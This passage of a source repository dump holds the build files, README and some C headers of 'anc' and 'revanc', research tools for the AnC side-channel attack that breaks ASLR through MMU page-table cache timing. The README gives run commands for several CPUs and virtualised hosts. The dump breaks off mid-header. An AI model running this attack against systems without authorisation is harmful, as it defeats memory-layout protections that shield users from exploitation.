├── LICENSE ├── Makefile ├── README.md ├── include ├── args.h ├── arm │ └── profile.h ├── arm64 │ └── profile.h ├── buffer.h ├── cache.h ├── cpuid │ ├── cache.h │ └── cpuid.h ├── macros.h ├── paging.h ├── path.h ├── profile.h ├── shuffle.h ├── solver.h ├── sysfs.h ├── thread.h └── x86-64 │ └── profile.h ├── scripts ├── config └── plot.py └── source ├── anc.c ├── args.c ├── arm ├── Makefile └── paging.c ├── arm64 ├── Makefile └── paging.c ├── bsd ├── Makefile └── thread.c ├── cpuid ├── amd │ ├── cache.c │ ├── cache.h │ ├── cpuid.c │ └── cpuid.h ├── cache.c ├── cpuid.c └── intel │ ├── cache.c │ ├── cache.h │ ├── cpuid.c │ └── cpuid.h ├── darwin ├── Makefile └── thread.c ├── linux ├── Makefile └── thread.c ├── macros.c ├── msw ├── Makefile ├── buffer.c ├── cache.c ├── path.c ├── sysfs.c └── thread.c ├── paging.c ├── posix ├── buffer.c ├── cache.c ├── path.c └── sysfs.c ├── profile.c ├── revanc.c ├── shuffle.c ├── solver.c └── x86-64 ├── Makefile └── paging.c /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | # This Source Code Form is subject to the terms of the Mozilla Public 2 | # License, v. 2.0. If a copy of the MPL was not distributed with this 3 | # file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | 5 | # Default rule. 6 | BUILD ?= obj 7 | all: $(BUILD)/anc 8 | 9 | # If PLAT is unset, try to determine it. 10 | PLAT ?= $(shell uname -s | tr [:upper:] [:lower:] | \ 11 | sed 's/dragonfly/bsd/g' | \ 12 | sed 's/.*bsd/bsd/g' | \ 13 | sed 's/cygwin.*/msw/g' | \ 14 | sed 's/msys.*/msw/g' | \ 15 | sed 's/mingw.*/msw/g' | \ 16 | sed 's/windows.*/msw/g') 17 | 18 | # If ARCH is unset, try to determine the architecture. 19 | ARCH ?= $(shell uname -m | \ 20 | sed 's/aarch64/arm64/g' | \ 21 | sed 's/armv7l/arm/g' | \ 22 | sed 's/i[3-6]86/x86/g' | \ 23 | sed 's/x86_64/x86-64/g' | \ 24 | sed 's/amd64/x86-64/g') 25 | 26 | # Check PLAT and ARCH against a whitelist. 27 | PLAT := $(filter bsd darwin linux msw,$(PLAT)) 28 | ARCH := $(filter arm arm64 x86 x86-64,$(ARCH)) 29 | 30 | # If PLAT and ARCH are still unset, then the architecture is not (yet) 31 | # supported. 32 | ifeq ($(PLAT),) 33 | $(error No support available for the target platform) 34 | endif 35 | 36 | ifeq ($(ARCH),) 37 | $(error No support available for the target architecture) 38 | endif 39 | 40 | # Include the config file. 41 | CONFIG ?= scripts/config 42 | include $(CONFIG) 43 | 44 | # Basic settings. 45 | CFLAGS += -D_GNU_SOURCE -g3 -Wall -Wextra -std=gnu11 -Os 46 | CFLAGS += -Iinclude 47 | LDFLAGS += -flto -Os 48 | LIBS += -lpthread 49 | 50 | obj-y += source/args.o 51 | obj-y += source/macros.o 52 | obj-y += source/paging.o 53 | obj-y += source/profile.o 54 | obj-y += source/shuffle.o 55 | obj-y += source/solver.o 56 | 57 | anc-obj-y += source/anc.o 58 | 59 | revanc-obj-y += source/revanc.o 60 | 61 | -include source/$(ARCH)/Makefile 62 | -include source/$(PLAT)/Makefile 63 | 64 | config-header = $(BUILD)/include/config.h 65 | CFLAGS += -I$(BUILD)/include 66 | 67 | # Add the build prefix. 68 | obj = $(addprefix $(BUILD)/, $(obj-y)) 69 | anc-obj = $(addprefix $(BUILD)/, $(anc-obj-y)) 70 | revanc-obj = $(addprefix $(BUILD)/, $(revanc-obj-y)) 71 | 72 | # Include the dependencies. 73 | dep = $(obj:.o=.d) 74 | -include $(dep) 75 | 76 | # Phony targets. 77 | .PHONY: force run clean all 78 | 79 | .PRECIOUS: $(BUILD)/var/% 80 | 81 | all: $(BUILD)/anc $(BUILD)/revanc 82 | 83 | # Rule to link the program. 84 | $(BUILD)/anc: $(obj) $(anc-obj) $(BUILD)/var/LDFLAGS $(BUILD)/var/LIBS 85 | @echo "LD $@" 86 | @mkdir -p $(dir $@) 87 | @$(CC) $(obj) $(anc-obj) -o $@ $(LDFLAGS) $(LIBS) 88 | 89 | $(BUILD)/revanc: $(obj) $(revanc-obj) $(BUILD)/var/LDFLAGS $(BUILD)/var/LIBS 90 | @echo "LD $@" 91 | @mkdir -p $(dir $@) 92 | @$(CC) $(obj) $(revanc-obj) -o $@ $(LDFLAGS) $(LIBS) 93 | 94 | # Rule used to detect changed variables. 95 | $(BUILD)/var/%: force 96 | @mkdir -p $(dir $@) 97 | @echo $($*) | cmp -s - $@ || echo $($*) > $@ 98 | 99 | # Rule to compile C source code. 100 | $(BUILD)/%.o: %.c $(BUILD)/var/CFLAGS $(config-header) 101 | @echo "CC $<" 102 | @mkdir -p $(dir $@) 103 | @$(CC) -c $< -o $@ $(CFLAGS) -MT $@ -MMD -MP -MF $(@:.o=.d) 104 | 105 | # Rule to compile Assembly source code. 106 | $(BUILD)/%.o: %.S $(BUILD)/var/CFLAGS $(config-header) 107 | @echo "AS $<" 108 | @mkdir -p $(dir $@) 109 | @$(CC) -c $< -o $@ $(CFLAGS) -MT $@ -MMD -MP -MF $(@:.o=.d) 110 | 111 | # Rule to generate a header containing the definitions from the config file. 112 | $(BUILD)/include/config.h: $(CONFIG) 113 | @echo "GEN $@" 114 | @mkdir -p $(dir $@) 115 | @grep -Ei "^CONFIG_[A-Z_]*=.*$$" $(CONFIG) | \ 116 | sed 's/^\(.*\)=\(y\|yes\|1\)$$/#define \1 1/g' | \ 117 | sed 's/^\(.*\)=\(n\|no\|0\)$$/#undef \1 /g' | \ 118 | sed 's/^\(.*\)=\(.*\)$$/#define \1 \2/g' \ 119 | >> $@ 120 | 121 | # Rule to clean up output files. 122 | clean: 123 | @rm -rf $(BUILD) 124 | 125 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Introduction 2 | ============ 3 | 4 | This directory contains the source code for both `anc` and `revanc`. `anc` is an implementation 5 | of the ASLR^Cache (AnC) attack which is an `EVICT+TIME` side-channel attack on the MMU. AnC 6 | relies on the fact that page table lookups by the MMU are stored in the last level cache (LLC) in 7 | order to speed up the next required translation. By flushing parts of the LLC and timing the page 8 | table lookup, AnC can identify which parts of the LLC store page tables. On top of flushing the 9 | LLC, AnC also needs to flush the TLB as well as page table caches. Since the information on the 10 | size of the TLB and the LCC is available, the AnC attack can be used to reverse engineer the 11 | properties of the page table caches that are of interest to attackers, like their internal 12 | architecure and size. `revanc` is an implemention that retrofits AnC to acquire this information. 13 | 14 | With `anc`, we have demonstrated that numerous x86-64, ARMv7-A and ARMv8-A microarchitectures are 15 | affected by the AnC attack. Furthermore, with `revanc` we have been able to detect the existence 16 | of page table caches and the amount of entries that they contain on these microarchitectures. As 17 | the code is written with portability in mind, it should be easy to add support for other 18 | potentially affected platforms that share a similar MMU design. 19 | 20 | We invite you to visit our [project page](https://www.vusec.net/projects/anc/) for more information. 21 | 22 | Usage 23 | ===== 24 | 25 | To build the code, simply type: 26 | 27 | make 28 | 29 | After the code has been built, the `anc` and `revanc` programs should be available in the `obj` 30 | directory. 31 | 32 | The results generated by the `anc` program by plotted as MMU-grams using the Python 3 script 33 | provided. As this script depends on `numpy` and `matplotlib`, these dependencies should be 34 | installed first: 35 | 36 | sudo apt-get install python3-numpy python3-matplotlib 37 | 38 | Then after running the `anc` program, the script can be run as follows: 39 | 40 | scripts/plot.py 41 | 42 | The script will then generate a file named `mmugram.pdf`. 43 | 44 | Examples 45 | ======== 46 | 47 | On x86-64, the `cpuid` instruction is used to automatically detect the sizes of the caches and the 48 | TLBs. As such, it is often sufficient ro `anc` without any arguments: 49 | 50 | ./obj/anc 51 | 52 | However, since the TLB sizes are also used as a guideline to evict the page table or translation 53 | caches, it is sometimes necessary to specify the sizes of these caches. While Intel Ivy Bridge and 54 | older microarchitectures do implement a translation cache for PDPTEs, there either is no TLB to 55 | cache 1G huge pages, or `cpuid` does not report its existence. As such we have to specify that this 56 | cache consists of four entries manually: 57 | 58 | ./obj/anc --pl3-entries=4 59 | 60 | Similarly, several AMD microarchitectures implement a page table cache with 24 entries: 61 | 62 | ./obj/anc --pl2-entries=24 63 | 64 | With the `revanc` program, these page table and translation caches can be reverse engineered. 65 | However, to optimise the results it is currently advised to specify the virtual address: 66 | 67 | ./obj/revanc --target=0x222e2599000 --runs=10 68 | 69 | For ARMv7-A and ARMv8-A, the sizes of the caches and TLBs cannot be determined automatically yet. 70 | As such, it is important to specify these manually. Further, while the ARMv7-A and ARMv8-A 71 | platforms do offer Performance Monitoring Units with a register similar to the Timestamp Counter on 72 | x86-64, this is not used as it is not accessible from user mode by default. On these platforms a 73 | thread that increments a volatile global variable simulating a cycle counter is used instead. Hence 74 | it is important to take more timing samples (e.g. 100 rather than the default of 10). For instance, 75 | for the Nvidia Tegra K1 the following can be used: 76 | 77 | ./obj/revanc --target=0x10040000 --evict-target=0x80000000 --runs=10 --cache-size=4M --pl1-entries1=544 --rounds=100 78 | 79 | Some ARMv7-A platforms have Large Physical Address Extensions enabled. If this is the case, then 80 | the `arm-lpae` page format has to be specified as well: 81 | 82 | ./obj/revanc --target=0x10040000 --evict-target=0x80000000 --runs=10 --cache-size=4M --pl1-entries1=544 --page-format=arm-lpae --rounds=100 83 | 84 | On ARMv8-A another target address is recommended. For instance, for the Allwinner A64, the 85 | following can be used: 86 | 87 | ./obj/revanc --target=0x116565000 --runs=10 --cache-size=2M --pl1-entries=522 --rounds=100 88 | 89 | Frequently Asked Questions (FAQ) 90 | ================================ 91 | 92 | Q. What processor architectures are currently supported/affected? 93 | 94 | The `anc` and `revanc` can currently be built for and run on the x86-64, ARMv7-A and ARMv8-A 95 | architectures and show that these architectures are affected. 96 | 97 | Q. What operating systems are currently supported? 98 | 99 | The code can currently be built for BSD, Linux, Mac OS X and Microsoft Windows (using MSYS 2). 100 | 101 | Q. Does this attack work on hardened systems with ASLR enabled? 102 | 103 | Yes, the native implementation of the attack has been reported to work on an Intel Xeon E3-1505M v5 104 | running HardenedBSD/amd64 (thanks to Shawn Webb). 105 | 106 | Q. Does this attack work in virtualised environments? 107 | 108 | Yes, we have run this attack within KVM guests running Linux on an Intel Atom C2750 and an Intel 109 | Xeon E5-2658 v2. In fact, because the hypervisor makes use of the MMU as well, the page table 110 | and/or translation cache(c) used by the MMU may end up being (partially) evicted already, 111 | amplifyingthe AnC attack. However, because the MMU is used by the hypervisor as well, the `revanc` 112 | program cannot reliably determine the sizes of these caches. 113 | 114 | For other questions, please refer to the [project page](https://www.vusec.net/projects/anc/) first. 115 | -------------------------------------------------------------------------------- /include/args.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include 10 | 11 | #include "macros.h" 12 | #include "paging.h" 13 | 14 | enum { 15 | OPTION_HELP = 'h', 16 | OPTION_CPU = 'c', 17 | OPTION_LINE_SIZE = 'l', 18 | OPTION_CACHE_SIZE = 's', 19 | OPTION_ROUNDS = 'r', 20 | OPTION_PAGE_FORMAT = 'f', 21 | OPTION_RUNS = 'n', 22 | OPTION_PL_ENTRIES = 255, 23 | OPTION_PL1_ENTRIES, 24 | OPTION_PL2_ENTRIES, 25 | OPTION_PL3_ENTRIES, 26 | OPTION_PL4_ENTRIES, 27 | OPTION_PL_PAGES, 28 | OPTION_PL1_PAGES, 29 | OPTION_PL2_PAGES, 30 | OPTION_PL3_PAGES, 31 | OPTION_PL4_PAGES, 32 | OPTION_LIST_PAGE_FORMATS, 33 | OPTION_TARGET, 34 | OPTION_EVICT_TARGET, 35 | OPTION_THRESHOLD, 36 | OPTION_OUTPUT = 'o', 37 | }; 38 | 39 | struct args { 40 | char *page_format; 41 | size_t npages[4]; 42 | size_t nentries[4]; 43 | size_t cache_size; 44 | size_t line_size; 45 | size_t nrounds; 46 | size_t nruns; 47 | float threshold; 48 | uintptr_t target; 49 | uintptr_t evict_target; 50 | char *output; 51 | unsigned int cpu; 52 | }; 53 | 54 | int parse_size(size_t *size, const char *s); 55 | void print_size(FILE *f, size_t size); 56 | void show_usage(const char *prog_name); 57 | void detect_args(struct args *args); 58 | int parse_args(struct args *args, int argc, const char *argv[]); 59 | void print_args(FILE *f, struct args *args, struct page_format *fmt); 60 | struct page_format *get_page_format_from_args(struct args *args); 61 | -------------------------------------------------------------------------------- /include/arm/profile.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include "config.h" 11 | 12 | typedef uint32_t cycles_t; 13 | 14 | extern volatile cycles_t timer_cycles; 15 | 16 | static inline void code_barrier(void) 17 | { 18 | asm volatile("isb\n"); 19 | } 20 | 21 | static inline void data_barrier(void) 22 | { 23 | asm volatile("dsb sy\n" ::: "memory"); 24 | } 25 | 26 | static inline cycles_t rdtsc(void) 27 | { 28 | return timer_cycles; 29 | } 30 | 31 | -------------------------------------------------------------------------------- /include/arm64/profile.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include "config.h" 11 | 12 | typedef uint64_t cycles_t; 13 | 14 | extern volatile cycles_t timer_cycles; 15 | 16 | static inline void code_barrier(void) 17 | { 18 | asm volatile("isb\n"); 19 | } 20 | 21 | static inline void data_barrier(void) 22 | { 23 | asm volatile("dsb sy\n" ::: "memory"); 24 | } 25 | 26 | static inline cycles_t rdtsc(void) 27 | { 28 | return timer_cycles; 29 | } 30 | 31 | -------------------------------------------------------------------------------- /include/buffer.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | struct page_format; 11 | 12 | // target buffer 13 | struct buffer { 14 | char *data; 15 | size_t size; 16 | }; 17 | 18 | struct buffer *new_buffer(struct page_format *fmt, void *target); 19 | void del_buffer(struct buffer *buffer); 20 | -------------------------------------------------------------------------------- /include/cache.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | 10 | #include "macros.h" 11 | 12 | struct cache { 13 | struct page_format *fmt; 14 | char *data; // eviction set 15 | size_t size; // eviction set size 16 | size_t cache_size; 17 | size_t line_size; 18 | }; 19 | 20 | struct cache *new_cache(struct page_format *fmt, void *target, 21 | size_t cache_size, size_t line_size); 22 | void del_cache(struct cache *cache); 23 | void evict_cache_line(struct cache *cache, size_t table_size, 24 | size_t cache_line, size_t page_level); 25 | -------------------------------------------------------------------------------- /include/cpuid/cache.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | /* What the cache is used for. */ 9 | #define CACHE_DESC_NONE 0 10 | #define CACHE_DESC_TLB 1 11 | #define CACHE_DESC_CACHE 2 12 | #define CACHE_DESC_PREFETCH 3 13 | #define CACHE_DESC_TRACE 4 14 | 15 | /* The level of the cache. */ 16 | #define CACHE_DESC_LEVEL(x) (((x & 0x3) << 3)) 17 | 18 | /* Whether the cache is an instruction, data or shared cache. */ 19 | #define CACHE_DESC_CODE (1 << 5) 20 | #define CACHE_DESC_DATA (1 << 6) 21 | #define CACHE_DESC_SHARED (CACHE_DESC_CODE | CACHE_DESC_DATA) 22 | 23 | /* Whether the cache is inclusive of lower levels or not. */ 24 | #define CACHE_DESC_INCLUSIVE (1 << 8) 25 | 26 | /* Common types. */ 27 | #define CACHE_DESC_NULL 0 28 | #define CACHE_DESC_ITLB_L1 \ 29 | (CACHE_DESC_TLB | CACHE_DESC_LEVEL(1) | CACHE_DESC_CODE) 30 | #define CACHE_DESC_DTLB_L1 \ 31 | (CACHE_DESC_TLB | CACHE_DESC_LEVEL(1) | CACHE_DESC_DATA) 32 | #define CACHE_DESC_TLB_L1 \ 33 | (CACHE_DESC_TLB | CACHE_DESC_LEVEL(1) | CACHE_DESC_SHARED) 34 | #define CACHE_DESC_DTLB_L2 \ 35 | (CACHE_DESC_TLB | CACHE_DESC_LEVEL(2) | CACHE_DESC_DATA) 36 | #define CACHE_DESC_TLB_L2 \ 37 | (CACHE_DESC_TLB | CACHE_DESC_LEVEL(2) | CACHE_DESC_SHARED) 38 | #define CACHE_DESC_ICACHE_L1 \ 39 | (CACHE_DESC_CACHE | CACHE_DESC_LEVEL(1) | CACHE_DESC_CODE) 40 | #define CACHE_DESC_DCACHE_L1 \ 41 | (CACHE_DESC_CACHE | CACHE_DESC_LEVEL(1) | CACHE_DESC_DATA) 42 | #define CACHE_DESC_CACHE_L2 \ 43 | (CACHE_DESC_CACHE | CACHE_DESC_LEVEL(2) | CACHE_DESC_SHARED) 44 | #define CACHE_DESC_CACHE_L3 \ 45 | (CACHE_DESC_CACHE | CACHE_DESC_LEVEL(3) | CACHE_DESC_SHARED) 46 | 47 | /* Known constants for direct mapped and fully associative caches. */ 48 | #define CACHE_DIRECT_MAPPED 1 49 | #define CACHE_FULLY_ASSOC (SIZE_MAX) 50 | 51 | /* The granularity of the pages that are being cached by a TLB. */ 52 | #define TLB_4K_PAGE (1 << 0) 53 | #define TLB_2M_PAGE (1 << 1) 54 | #define TLB_4M_PAGE (1 << 2) 55 | #define TLB_1G_PAGE (1 << 3) 56 | 57 | /* The cache descriptor representing caches, TLBs, trace caches and prefetch 58 | * units. 59 | */ 60 | union cache_desc { 61 | struct { 62 | unsigned flags; 63 | size_t nways, size, line_size, lines_per_sector; 64 | } cache; 65 | struct { 66 | unsigned flags; 67 | size_t nways, nentries, page_size; 68 | } tlb; 69 | struct { 70 | unsigned flags; 71 | size_t size; 72 | } prefetch; 73 | unsigned flags; 74 | }; 75 | 76 | static inline unsigned get_cache_desc_type(union cache_desc *cache_desc) 77 | { 78 | return (cache_desc->flags & 0x07); 79 | } 80 | 81 | static inline size_t get_cache_desc_level(union cache_desc *cache_desc) 82 | { 83 | return ((cache_desc->flags >> 3) & 0x03); 84 | } 85 | 86 | size_t copy_cache_desc(union cache_desc *cache_descs, size_t size, 87 | union cache_desc *cache_desc); 88 | size_t set_tlb_desc(union cache_desc *cache_descs, size_t size, 89 | unsigned flags, size_t nways, size_t nentries, size_t page_size); 90 | void print_cache_desc(union cache_desc *cache_desc); 91 | size_t get_cache_descs(union cache_desc *cache_desc, size_t size); 92 | 93 | -------------------------------------------------------------------------------- /include/cpuid/cpuid.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | enum cpuid_vendor_id { 9 | CPUID_VENDOR_NONE = -1, 10 | CPUID_VENDOR_INTEL, 11 | CPUID_VENDOR_AMD, 12 | }; 13 | 14 | unsigned cpuid_get_max_leaf(void); 15 | unsigned cpuid_get_max_ext_leaf(void); 16 | enum cpuid_vendor_id cpuid_get_vendor_id(void); 17 | const char *cpuid_get_vendor(void); 18 | const char *cpuid_get_cpu_name(void); 19 | const char *cpuid_get_cpu_model(void); 20 | -------------------------------------------------------------------------------- /include/macros.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #define min(x, y) (((x) < (y)) ? (x) : (y)) 13 | #define max(x, y) (((x) > (y)) ? (x) : (y)) 14 | 15 | #define KIB ((size_t)1024) 16 | #define MIB (1024 * KIB) 17 | #define GIB (1024 * MIB) 18 | 19 | #if SIZE_MAX == UINT64_MAX 20 | #define TIB (1024 * GIB) 21 | #endif 22 | 23 | /* Used to extract a bit field. */ 24 | #define BIT(n) (1 << (n)) 25 | #define EXTRACT(x, k, n) ((x) >> (k) & ((1 << (n)) - 1)) 26 | 27 | /* Represents a register that is accessible using 8-bit, 16-bit and 32-bit 28 | * granularity. 29 | */ 30 | union reg { 31 | uint32_t u32; 32 | uint16_t u16[2]; 33 | uint8_t u8[4]; 34 | }; 35 | 36 | #define dperror() dperror_ext(__FILE__, __LINE__) 37 | #define dprintf(...) \ 38 | do { \ 39 | fprintf(stderr, "%s:%d: error: ", __FILE__, __LINE__); \ 40 | fprintf(stderr, __VA_ARGS__); \ 41 | } while(0) 42 | 43 | void dperror_ext(const char *fname, int line_no); 44 | -------------------------------------------------------------------------------- /include/paging.h: -------------------------------------------------------------------------------- 1 | /* This Source Code Form is subject to the terms of the Mozilla Public 2 | * License, v. 2.0. If a copy of the MPL was not distributed with this 3 | * file, You can obtain one at http://mozilla.org/MPL/2.0/. 4 | */ 5 | 6 | #pragma once 7 | 8 | #include 9 | #include 10 | 11 | #include 12 | 13 | struct page_level { 14 | 